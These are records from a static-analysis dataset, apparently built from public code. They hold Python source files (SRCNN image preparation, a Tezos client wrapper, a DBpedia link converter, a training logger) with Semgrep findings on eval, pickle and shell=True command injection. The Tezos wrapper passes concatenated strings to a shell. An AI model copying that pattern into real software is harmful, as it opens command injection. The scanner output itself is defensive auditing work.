"revision_id": "614d70360800ad446aaeb47afc3454635094018e",
"snapshot_id": "28f97b1f7696d4d9ea0ee093433b868ab10b7810",
"src_encoding": "UTF-8",
"star_events_count": 5,
"url": "https://raw.githubusercontent.com/Fivefold/SRCNN/614d70360800ad446aaeb47afc3454635094018e/Torch/prepare.py",
"visit_date": "2023-03-11T19:44:06.427564"
} | 3.109375 | stackv2 | import argparse
import glob
import h5py
import numpy as np
import PIL.Image as pil_image
from util import rgb2y
def scale_ops(hr):
# --- image resizing & preparation ---
hr_width = (hr.width // args.scale) * args.scale
hr_height = (hr.height // args.scale) * args.scale
# resize to a multiple of 3 to get the ground truth
hr = hr.resize((hr_width, hr_height), resample=pil_image.BICUBIC)
# actual resizing to 1/3
lr = hr.resize((hr_width // args.scale, hr_height //
args.scale), resample=pil_image.BICUBIC)
# back x3
lr = lr.resize((lr.width * args.scale, lr.height *
args.scale), resample=pil_image.BICUBIC)
hr = np.array(hr).astype(np.float32)
lr = np.array(lr).astype(np.float32)
hr = rgb2y(hr)
lr = rgb2y(lr)
return hr, lr
def train(args):
h5_file = h5py.File(args.output_path, 'w')
# lr...low resolution hr...high resolution
lr_patches = []
hr_patches = []
for image_path in sorted(glob.glob('{}/*'.format(args.images_dir))):
hr = pil_image.open(image_path).convert('RGB')
hr, lr = scale_ops(hr)
for i in range(0, lr.shape[0] - args.patch_size + 1, args.stride):
for j in range(0, lr.shape[1] - args.patch_size + 1, args.stride):
lr_patches.append(
lr[i:i + args.patch_size, j:j + args.patch_size])
hr_patches.append(
hr[i:i + args.patch_size, j:j + args.patch_size])
lr_patches = np.array(lr_patches)
hr_patches = np.array(hr_patches)
h5_file.create_dataset('hr', data=hr_patches)
h5_file.create_dataset('lr', data=lr_patches)
h5_file.close()
def eval(args):
h5_file = h5py.File(args.output_path, 'w')
# lr...low resolution hr...high resolution
lr_group = h5_file.create_group('lr')
hr_group = h5_file.create_group('hr')
for i, image_path in enumerate(sorted(glob.glob('{}/*'.format(args.images_dir)))):
hr = pil_image.open(image_path).convert('RGB')
hr, lr = scale_ops(hr)
hr_group.create_dataset(str(i), data=hr)
lr_group.create_dataset(str(i), data=lr)
h5_file.close()
# Prepare a folder of images into the .h5 format that torch uses
# Warning: the resulting files are much larger than the size of
# the initial images. 1.3 MB of images become over 1 GB.
if __name__ == '__main__':
parser = argparse.ArgumentParser()
# Directory with images to prepare for training/evaluation
parser.add_argument('--images-dir', type=str, required=True)
# Path/Filename to output the .h5 file to
parser.add_argument('--output-path', type=str, default="prepared_set.h5")
parser.add_argument('--patch-size', type=int, default=33)
parser.add_argument('--stride', type=int, default=14)
parser.add_argument('--scale', type=int, default=3)
parser.add_argument('--eval', action='store_true')
args = parser.parse_args()
if not args.eval:
train(args)
else:
eval(args)
print("Preparation complete! .h5 file saved as " + args.output_path)
| 95 | 31.75 | 86 | 17 | 802 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_8d14e3a3beee217a_8f451c29", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 9, "column_end": 19, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/8d14e3a3beee217a.py", "start": {"line": 94, "col": 9, "offset": 3027}, "end": {"line": 94, "col": 19, "offset": 3037}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
94
] | [
94
] | [
9
] | [
19
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | prepare.py | /Torch/prepare.py | Fivefold/SRCNN | MIT | |
2024-11-18T18:47:05.653861+00:00 | 1,553,113,532,000 | 8a1a8fd467f6c1598913d1feb2bdc84a6dcff637 | 3 | {
"blob_id": "8a1a8fd467f6c1598913d1feb2bdc84a6dcff637",
"branch_name": "refs/heads/master",
"committer_date": 1553113532000,
"content_id": "a8bad410ee4bd8194ee65e67c1aa373bba78cbb1",
"detected_licenses": [
"MIT"
],
"directory_id": "b5bc791096ba657a2e2492641a3c09d21f3a2c2d",
"extension": "py",
"filename": "simple_client_manager.py",
"fork_events_count": 0,
"gha_created_at": 1554377598000,
"gha_event_created_at": 1554377599000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 179484921,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1289,
"license": "MIT",
"license_type": "permissive",
"path": "/src/cli/simple_client_manager.py",
"provenance": "stack-edu-0054.json.gz:570470",
"repo_name": "Twente-Mining/tezos-reward-distributor",
"revision_date": 1553113532000,
"revision_id": "8df0745fdb44cbd765084303882545202d2427f3",
"snapshot_id": "125c3006ad5d7e197f215565a380e17c504fd09e",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Twente-Mining/tezos-reward-distributor/8df0745fdb44cbd765084303882545202d2427f3/src/cli/simple_client_manager.py",
"visit_date": "2020-05-04T21:40:52.119123"
} | 2.828125 | stackv2 | import subprocess
from exception.client import ClientException
from util.client_utils import clear_terminal_chars
class SimpleClientManager:
def __init__(self, client_path, verbose=None) -> None:
super().__init__()
self.verbose = verbose
self.client_path = client_path
def send_request(self, cmd):
whole_cmd = self.client_path + cmd
if self.verbose:
print("Command is |{}|".format(whole_cmd))
# execute client
process = subprocess.Popen(whole_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
bytes = []
for b in process.stdout:
bytes.append(b)
process.wait()
buffer = b''.join(bytes).decode('utf-8')
if self.verbose:
print("Answer is |{}|".format(buffer))
return buffer
def sign(self, bytes, key_name):
response = self.send_request(" sign bytes 0x03{} for {}".format(bytes, key_name))
response = clear_terminal_chars(response)
for line in response.splitlines():
if "Signature" in line:
return line.strip("Signature:").strip()
raise ClientException("Signature not found in response '{}'. Signed with {}".format(response.replace('\n'), 'key_name'))
| 43 | 28.98 | 128 | 16 | 268 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_3a9eca0a57cce4b3_4530fed0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 19, "column_end": 106, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/3a9eca0a57cce4b3.py", "start": {"line": 19, "col": 19, "offset": 501}, "end": {"line": 19, "col": 106, "offset": 588}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_3a9eca0a57cce4b3_f7f7b65e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 53, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/3a9eca0a57cce4b3.py", "start": {"line": 19, "col": 53, "offset": 535}, "end": {"line": 19, "col": 57, "offset": 539}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
19,
19
] | [
19,
19
] | [
19,
53
] | [
106,
57
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess' functi... | [
7.5,
7.5
] | [
"LOW",
"HIGH"
] | [
"HIGH",
"LOW"
] | simple_client_manager.py | /src/cli/simple_client_manager.py | Twente-Mining/tezos-reward-distributor | MIT | |
2024-11-18T20:58:18.879461+00:00 | 1,627,640,358,000 | be694ca7b15458d0813c47d26203a79ba25328be | 3 | {
"blob_id": "be694ca7b15458d0813c47d26203a79ba25328be",
"branch_name": "refs/heads/master",
"committer_date": 1627640358000,
"content_id": "3271b11c886b192add26e73eaef18851b9ae9d05",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "eca443cc1c26b9c831992fb34abdd4d9a8a4e0f5",
"extension": "py",
"filename": "page_links_to_edge_list_wiki.py",
"fork_events_count": 19,
"gha_created_at": 1475827873000,
"gha_event_created_at": 1627640358000,
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 70227256,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3039,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/scripts/old/page_links_to_edge_list_wiki.py",
"provenance": "stack-edu-0054.json.gz:570524",
"repo_name": "D2KLab/entity2vec",
"revision_date": 1627640358000,
"revision_id": "fab3bd4d8ca43ce6738994c96b294899ba2b470a",
"snapshot_id": "060d752bfb263cdac54d997d3c2a3c349163e125",
"src_encoding": "UTF-8",
"star_events_count": 62,
"url": "https://raw.githubusercontent.com/D2KLab/entity2vec/fab3bd4d8ca43ce6738994c96b294899ba2b470a/scripts/old/page_links_to_edge_list_wiki.py",
"visit_date": "2021-11-19T06:19:42.274071"
} | 2.75 | stackv2 | import optparse
import pickle
#converts urls to wiki_id
parser = optparse.OptionParser()
parser.add_option('-i','--input', dest = 'input_file', help = 'input_file')
parser.add_option('-o','--output', dest = 'output_file', help = 'output_file')
(options, args) = parser.parse_args()
if options.input_file is None:
options.input_file = raw_input('Enter input file:')
if options.output_file is None:
options.output_file = raw_input('Enter output file:')
input_file = options.input_file
output_file = options.output_file
#define the dictionary url:wiki_id
wiki_from_url_dict = {}
with open('../../datasets/dbpedia/page_ids_en_2016.ttl','r') as f:
for line in f:
line = line.split(' ')
if line[0] == '#':
continue
url = line[0]
wiki_id_list = line[2].split('\"')
wiki_id = wiki_id_list[1]
print(url, wiki_id)
wiki_from_url_dict[url] = int(wiki_id)
output_file_write = open(output_file,'w')
#iterate through the page links and turn urls into wiki_ids
max_wiki_id = max(wiki_from_url_dict.values()) + 1
local_id = {}
count = 0
with open(input_file) as page_links:
for line in page_links:
line = line.split(' ')
if line[0] == '#':
continue
url_1 = line[0]
url_2 = line[2]
#if wiki_id not found, assign an id = max_wiki_id and increment max_wiki_id
try:
wiki_id1 = wiki_from_url_dict[url_1] #first entity has wiki_id
try:
wiki_id2 = wiki_from_url_dict[url_2] #first and second entities have wiki_ids
except (KeyError, IndexError): #first entity has wiki_id, second entity doesn't
try: #check if a local id has already been assigned
wiki_id2 = local_id[url_2]
except (KeyError, IndexError):
wiki_id2 = max_wiki_id
local_id[url_2] = wiki_id2
max_wiki_id +=1
except (KeyError, IndexError): #first entity doesn't have wiki_id
try:
wiki_id1 = local_id[url_1]
except (KeyError, IndexError):
wiki_id1 = max_wiki_id
local_id[url_1] = wiki_id1
max_wiki_id += 1
try: #first entity doesn't have wiki_id, second entity has it
wiki_id2 = wiki_from_url_dict[url_2]
except (KeyError, IndexError): #neither first nor second entity have wiki_ids
try: #check if a local id has already been assigned
wiki_id2 = local_id[url_2]
except (KeyError, IndexError):
wiki_id2 = max_wiki_id
local_id[url_2] = wiki_id2
max_wiki_id +=1
output_file_write.write('%d %d\n' %(wiki_id1,wiki_id2))
print count
count += 1
output_file_write.close()
pickle.dump(local_id,open('../../datasets/dbpedia/local_id_to_url_full_mapping_based.p','wb'))
| 133 | 21.85 | 94 | 18 | 733 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_6f3f9fb6fd4b8495_4007168d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 6, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/6f3f9fb6fd4b8495.py", "start": {"line": 27, "col": 6, "offset": 599}, "end": {"line": 27, "col": 61, "offset": 654}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_6f3f9fb6fd4b8495_2d464b92", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 21, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/6f3f9fb6fd4b8495.py", "start": {"line": 46, "col": 21, "offset": 963}, "end": {"line": 46, "col": 42, "offset": 984}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_6f3f9fb6fd4b8495_a970544e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 6, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/6f3f9fb6fd4b8495.py", "start": {"line": 56, "col": 6, "offset": 1130}, "end": {"line": 56, "col": 22, "offset": 1146}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6f3f9fb6fd4b8495_dcc7894d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 1, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/6f3f9fb6fd4b8495.py", "start": {"line": 133, "col": 1, "offset": 2944}, "end": {"line": 133, "col": 95, "offset": 3038}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
133
] | [
133
] | [
1
] | [
95
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | page_links_to_edge_list_wiki.py | /scripts/old/page_links_to_edge_list_wiki.py | D2KLab/entity2vec | Apache-2.0 | |
2024-11-18T19:09:59.532731+00:00 | 1,605,168,502,000 | 6ebea4fee8a2596afafac0867efb88995a9add3f | 2 | {
"blob_id": "6ebea4fee8a2596afafac0867efb88995a9add3f",
"branch_name": "refs/heads/master",
"committer_date": 1605168502000,
"content_id": "eba3e73030e077605fa94ba7d906d8a044ff3701",
"detected_licenses": [
"MIT"
],
"directory_id": "2e280cbdb5b24af6e216a09f246a7e009dea7141",
"extension": "py",
"filename": "logger.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3789,
"license": "MIT",
"license_type": "permissive",
"path": "/DeepEBM/Utils/checkpoints/logger.py",
"provenance": "stack-edu-0054.json.gz:570568",
"repo_name": "pkulwj1994/FD-ScoreMatching",
"revision_date": 1605168502000,
"revision_id": "9df0789bb98bb798b3de57072f63ee4b2f19947f",
"snapshot_id": "c4dfa6e64394039425ce4ed493231bd8b0386a4a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/pkulwj1994/FD-ScoreMatching/9df0789bb98bb798b3de57072f63ee4b2f19947f/DeepEBM/Utils/checkpoints/logger.py",
"visit_date": "2023-07-22T05:49:29.551720"
} | 2.46875 | stackv2 | import logging
import operator
import os
import pickle
import socket
import time
import coloredlogs
import torch
import torchvision
from matplotlib import pyplot as plt
from Utils.shortcuts import get_logger
plt.switch_backend("Agg")
def build_logger(folder=None, args=None, logger_name=None):
FORMAT = "%(asctime)s;%(levelname)s|%(message)s"
DATEF = "%H-%M-%S"
logging.basicConfig(format=FORMAT)
logger = get_logger(logger_name)
# logger.setLevel(logging.DEBUG)
if folder is not None:
fh = logging.FileHandler(
filename=os.path.join(
folder, "logfile{}.log".format(time.strftime("%m-%d"))
)
)
fh.setLevel(logging.INFO)
formatter = logging.Formatter(
"%(asctime)s;%(levelname)s|%(message)s", "%H:%M:%S"
)
fh.setFormatter(formatter)
logger.addHandler(fh)
LEVEL_STYLES = dict(
debug=dict(color="magenta"),
info=dict(color="green"),
verbose=dict(),
warning=dict(color="blue"),
error=dict(color="yellow"),
critical=dict(color="red", bold=True),
)
coloredlogs.install(
level=logging.INFO, fmt=FORMAT, datefmt=DATEF, level_styles=LEVEL_STYLES
)
def get_list_name(obj):
if type(obj) is list:
for i in range(len(obj)):
if callable(obj[i]):
obj[i] = obj[i].__name__
elif callable(obj):
obj = obj.__name__
return obj
sorted_list = sorted(args.items(), key=operator.itemgetter(0))
host_info = "# " + ("%30s" % "Host Name") + ":\t" + socket.gethostname()
logger.info("#" * 120)
logger.info("----------Configurable Parameters In this Model----------")
logger.info(host_info)
for name, val in sorted_list:
logger.info("# " + ("%30s" % name) + ":\t" + str(get_list_name(val)))
logger.info("#" * 120)
return logger
class Logger(object):
def __init__(self, log_dir="./logs"):
self.stats = dict()
self.log_dir = log_dir
if not os.path.exists(log_dir):
os.makedirs(log_dir)
def add(self, category, k, v, it):
if category not in self.stats:
self.stats[category] = {}
if k not in self.stats[category]:
self.stats[category][k] = []
self.stats[category][k].append((it, v))
# self.print_fn("Itera {}, {}'s {} is {}".format(it, category, k, v))
def add_imgs(self, imgs, name=None, class_name=None, vrange=None):
if class_name is None:
outdir = self.log_dir
else:
outdir = os.path.join(self.log_dir, class_name)
if not os.path.exists(outdir):
os.makedirs(outdir)
if isinstance(name, str):
outfile = os.path.join(outdir, "{}.png".format(name))
else:
outfile = os.path.join(outdir, "%08d.png" % name)
if vrange is None:
maxv, minv = float(torch.max(imgs)), float(torch.min(imgs))
else:
maxv, minv = max(vrange), min(vrange)
imgs = (imgs - minv) / (maxv - minv + 1e-8)
# print(torch.max(imgs), torch.min(imgs))
imgs = torchvision.utils.make_grid(imgs)
torchvision.utils.save_image(imgs, outfile, nrow=8)
def get_last(self, category, k, default=0.0):
if category not in self.stats:
return default
elif k not in self.stats[category]:
return default
else:
return self.stats[category][k][-1][1]
def save_stats(self, filename=None):
if filename is None:
filename = "stat.pkl"
filename = os.path.join(self.log_dir, filename)
with open(filename, "wb") as f:
pickle.dump(self.stats, f)
| 119 | 30.84 | 80 | 18 | 915 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_f7e6177d14043997_26061525", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 119, "line_end": 119, "column_start": 13, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/f7e6177d14043997.py", "start": {"line": 119, "col": 13, "offset": 3762}, "end": {"line": 119, "col": 39, "offset": 3788}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": 